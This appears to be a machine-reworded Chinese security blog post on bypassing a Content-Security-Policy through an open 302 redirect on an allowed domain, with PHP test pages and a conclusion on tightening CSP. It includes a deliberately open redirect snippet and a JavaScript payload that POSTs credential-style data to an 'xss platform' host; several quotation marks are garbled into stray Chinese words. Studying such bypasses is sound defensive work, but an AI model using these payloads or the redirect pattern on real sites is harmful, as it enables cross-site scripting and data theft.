CSP真神奇,前段韶光看了一篇国外的文章,导致有了新的体验,302不仅仅可以在ssrf中有分外的表现,就连csp也可以,很强势。
漏洞
让我们逐步剖析漏洞的成因
根据文章,首先我们意识到如果我们布局一个重定向,就可以bypass CSP的域限定,在剖析之前,我们先看一个测试页面
123456789101112
<?php
header(\公众Content-Security-Policy: script-src http://127.0.0.1/ http://xss.cc/the_only_allow_dir/\"大众);
?>
<html>
<head>
</head>
<body>
csp header test
<script src=\"大众/test/js/test.php?u=//xss.cc/myjs/a.js\公众>
</script>
</body>
</html>
这是一个比较常见的包含csp的站,全体站都在/test/下,/test/js/下包含正常的js.
而CSP中仅仅许可了两个域
- http://127.0.0.1
- http://xss.cc/the_only_allow_dir/
在第一个域下的某个位置有个可以定义重定向的页面,比如
http://127.0.0.1/test.php
这里测试的时候写在了根目录下,不过是假如域内许可的任何位置都可以
123
<?php
header(\"大众Location: \公众 . $_GET[u]);
?>
这样的功能一样平常多涌如今上岸页面
第二个我们须要一个被许可的域,比如http://127.0.0.1/里一样平常会有js目录被许可,然后可能存在upload域可以上传一个js
这里我们许可了http://xss.cc/the_only_allow_dir/这个域,然后在
1http://xss.cc/myjs/a.js
写了一个js,内容是
1
alert(32)
现在所有的条件都具备了,打开上面的测试页面。
成功了
漏洞的限定以及必备条件?
在成功之后,我们可能须要谈论的更多,那么这个漏洞的限定在哪
如果我们不许可302所在的域
代码成了下面这样
12345678910111213141516
<?php
header(\"大众Content-Security-Policy: script-src http://127.0.0.1/test/js/ http://xss.cc/test/\"大众);
?>
<html>
<head>
</head>
<body>
csp header test<!--
<script>
document.cookie = \"大众csp=\"大众 + escape(\"大众sad@jisajid&JDSJddsajhdsajkh21sa213123o1\"大众) + \"大众;\公众;
</script>
-->
<script src=\公众/test/302.php?u=//xss.cc/myjs/a.js\"大众>
</script>
</body>
</html>
这里我们把302.php放在了站的根目录下,而我们只许可了http://127.0.0.1/test/js/和http://xss.cc/test/两个域下,很显然,302.php并不在被许可的域,结果显而易见。
被CSP拦截了
去掉外域的许可
将代码改为
12345678910111213141516
<?php
header(\"大众Content-Security-Policy: script-src http://127.0.0.1/test/js/\公众);
?>
<html>
<head>
</head>
<body>
csp header test<!--
<script>
document.cookie = \公众csp=\公众 + escape(\公众sad@jisajid&JDSJddsajhdsajkh21sa213123o1\"大众) + \公众;\"大众;
</script>
-->
<script src=\公众/test/js/302.php?u=//xss.cc/myjs/a.js\公众>
</script>
</body>
</html>
我们/test/js/302.php?u=//xss.cc/myjs/a.js这句跳转到了外域xss.cc的myjs目录下,但是我们把外域下的CSP策略删除了。
结果是CSP仍旧会追过去,被拦截了,什么都没发生。
外域既然许可,我们可以直策应用吗
测试到这里,肯定有个预测,如果外域既然许可,是不是我们可以直策应用,代码如下
12345678910111213141516
<?php
header(\"大众Content-Security-Policy: script-src http://127.0.0.1/test/js/ http://xss.cc/test/\"大众);
?>
<html>
<head>
</head>
<body>
csp header test<!--
<script>
document.cookie = \公众csp=\"大众 + escape(\"大众sad@jisajid&JDSJddsajhdsajkh21sa213123o1\"大众) + \"大众;\"大众;
</script>
-->
<script src=\"大众//xss.cc/myjs/a.js\公众>
</script>
</body>
</html>
结果不变
既然能实行js,那么能发数据到xss平台吗
既然我们成功的绕过了CSP的限定,那么我们是不是能把数据发送出去呢,比如发到xss平台
代码仍旧如下
12345678910111213141516
<?php
header(\"大众Content-Security-Policy: script-src http://127.0.0.1/test/js/ http://xss.cc/test/\公众);
?>
<html>
<head>
</head>
<body>
csp header test<!--
<script>
document.cookie = \"大众csp=\"大众 + escape(\"大众sad@jisajid&JDSJddsajhdsajkh21sa213123o1\"大众) + \"大众;\"大众;
</script>
-->
<script src=\公众/test/js/302.php?u=//xss.cc/myjs/test.js\"大众>
</script>
</body>
</html>
这里我们把js换成了test.js
1234
var xml = new XMLHttpRequest();
xml.open('POST', 'http://xss.cc', true);
xml.setRequestHeader(\公众Content-type\公众,\公众application/x-www-form-urlencoded\"大众);
xml.send('username=123&password=123');
然后看看
看上去成功了
看上去收到了,可是我们是不是忽略了什么,CSP的设置彷佛少了default-src
12345678910111213141516
<?php
header(\"大众Content-Security-Policy: default-src self script-src http://127.0.0.1/test/js/ http://xss.lazysheep.cc/test/\公众);
?>
<html>
<head>
</head>
<body>
csp header test<!--
<script>
document.cookie = \"大众csp=\"大众 + escape(\"大众sad@jisajid&JDSJddsajhdsajkh21sa213123o1\"大众) + \"大众;\"大众;
</script>
-->
<script src=\"大众/test/js/302.php?u=//xss.lazysheep.cc/myjs/test.js\"大众>
</script>
</body>
</html>
现在我们再试试看
被拦截了,事实上,并没有成功跨域
结论
总结来看,这里漏洞利用须要一些条件
1、在script-src许可的域下,须要存在一个重定向的页面,这种页面大多存在于上岸,退出登录。
2、在script-src许可的域下,存在某个任意文件的上传点(任意目录)。
3、有特殊的办法跨域发送要求,或者有站内域可以接管要求。
看起来是比较难得利用条件,但是实在不然
比如某个站调用某个cdn,或者类似于script-src example.com/scripts/ google.com/recaptcha/,google.com/script/下有个evil.js,然后刚好站内有个重定向,漏洞条件已经成立了。
为什么
那么为什么CSP会发生这样的漏洞呢,原作者提到了这样的问题,在Egor Homakov的文章中说了这个问题
http://www.myseosolution.de/deanonymizing-facebook-users-by-csp-bruteforcing/
事实上如果想要避免这样的问题,我们须要紧缩csp中许可的范围,而最好的办理办法是禁用重定向,文档中关于重定向的文章在这里
https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects